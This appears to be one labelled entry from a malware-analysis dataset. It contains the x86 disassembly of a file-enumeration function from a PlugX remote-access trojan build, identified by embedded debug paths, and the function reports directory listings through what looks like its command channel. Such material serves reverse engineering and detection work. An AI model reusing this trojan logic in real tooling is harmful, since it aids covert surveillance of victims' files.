Function at 0x1000ecf0
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x274
push ebx
mov ebx, edx
mov dword [ebp - 8], ecx
push esi
push edi
lea edi, [ebx + 0x10]
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
mov dword [ebp - 4], eax
lea ecx, [eax + 2]
push ecx
call fcn.10027bda
mov esi, eax
add esp, 4
mov dword [ebp - 0xc], esi
test esi, esi
jne 0x1000ed35
push eax
lea edx, [eax + 0x40]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXBuffer.cpp
call fcn.10024152
jmp 0x1000ed48
mov eax, dword [ebp - 4]
mov edx, edi
push eax
mov ecx, esi
mov word [esi + eax], 0
call fcn.1002427e
add esp, 4
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
mov dword [ebp - 4], eax
lea ecx, [eax + 2]
push ecx
call fcn.10027bda
mov ecx, eax
mov dword [ebp - 0x1c], 0
add esp, 4
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x14], ecx
test ecx, ecx
jne 0x1000ed89
push eax
lea edx, [eax + 0x40]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXBuffer.cpp
call fcn.10024152
jmp 0x1000ed9d
mov eax, dword [ebp - 4]
mov edx, edi
push eax
mov dword [ebp - 0x1c], eax
mov word [ecx + eax], 0
call fcn.1002427e
add esp, 4
push 0x1002927c
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
lea ecx, [ebp - 0x1c]
push eax
push 0x1002927c
call fcn.100066e0
lea eax, [ebp - 0x270]
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
jne 0x1000ee10
mov dword [ebx], 0x20120123
mov dword [ebx + 4], 0x3001
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebx + 0xc], eax
mov dword [ebx + 8], 0
call fcn.1000e730
push 0x7530
push ebx
push dword [ebp - 8]
mov eax, dword [eax + 0x38]
call eax
mov esi, eax
jmp 0x1000efc0
cmp word [ebp - 0x244], 0x2e
jne 0x1000ee3e
mov ax, word [ebp - 0x242]
test ax, ax
je 0x1000ef32
cmp ax, 0x2e
jne 0x1000ee3e
cmp word [ebp - 0x240], 0
je 0x1000ef32
test byte [ebp - 0x270], 0x10
je 0x1000ee62
push edi
lea edx, [ebp - 0x244]
mov ecx, esi
call fcn.1000fc60
add esp, 4
test eax, eax
je 0x1000ee62
mov dword [edi], 0
mov eax, dword [ebp - 0x270]
mov ecx, dword [ebp - 0x268]
mov dword [edi + 4], eax
mov eax, dword [ebp - 0x254]
mov dword [edi + 8], eax
mov eax, dword [ebp - 0x250]
mov dword [edi + 0xc], eax
mov eax, dword [ebp - 0x26c]
mov dword [edi + 0x10], eax
mov eax, dword [ebp - 0x264]
mov dword [edi + 0x18], eax
mov eax, dword [ebp - 0x25c]
mov dword [edi + 0x20], eax
mov eax, 0x2c
mov word [edi + 0x28], ax
lea eax, [ebp - 0x244]
push eax
mov dword [edi + 0x14], ecx
lea eax, [ebx + 0x3c]
mov ecx, dword [ebp - 0x260]
mov dword [edi + 0x1c], ecx
mov ecx, dword [ebp - 0x258]
push 0x10028d78
push eax
mov dword [edi + 0x24], ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea ecx, [ebp - 0x3c]
lea esi, [eax*2 + 0x2e]
movzx eax, si
mov word [edi + 0x2a], ax
add eax, 0x10
push ecx
add eax, ebx
push 0x10028d78
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
inc eax
mov dword [ebx], 0x20120123
add esp, 0xc
mov dword [ebx + 4], 0x3001
mov dword [ebx + 0xc], 0
lea eax, [esi + eax*2]
mov dword [ebx + 8], eax
call fcn.1000e730
push 0x7530
push ebx
push dword [ebp - 8]
mov eax, dword [eax + 0x38]
call eax
mov esi, eax
test esi, esi
jne 0x1000efa0
mov esi, dword [ebp - 0xc]
lea eax, [ebp - 0x270]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x1000ee10
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindClose]
test eax, eax
jne 0x1000ef6a
push eax
mov edx, 0xfa
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugDisk.cpp
call fcn.10024152
add esp, 4
mov dword [ebx], 0x20120123
mov dword [ebx + 4], 0x3001
mov dword [ebx + 8], 0
mov dword [ebx + 0xc], 0
call fcn.1000e730
push 0x7530
push ebx
push dword [ebp - 8]
mov eax, dword [eax + 0x38]
call eax
mov esi, eax
test esi, esi
jne 0x1000efc0
jmp 0x1000efc0
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindClose]
test eax, eax
jne 0x1000efc0
push eax
mov edx, 0xf0
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugDisk.cpp
call fcn.10024152
add esp, 4
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x1000efd2
push 1
push eax
call fcn.10027bcc
add esp, 8
mov eax, dword [ebp - 0xc]
test eax, eax
je 0x1000efe4
push 1
push eax
call fcn.10027bcc
add esp, 8
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret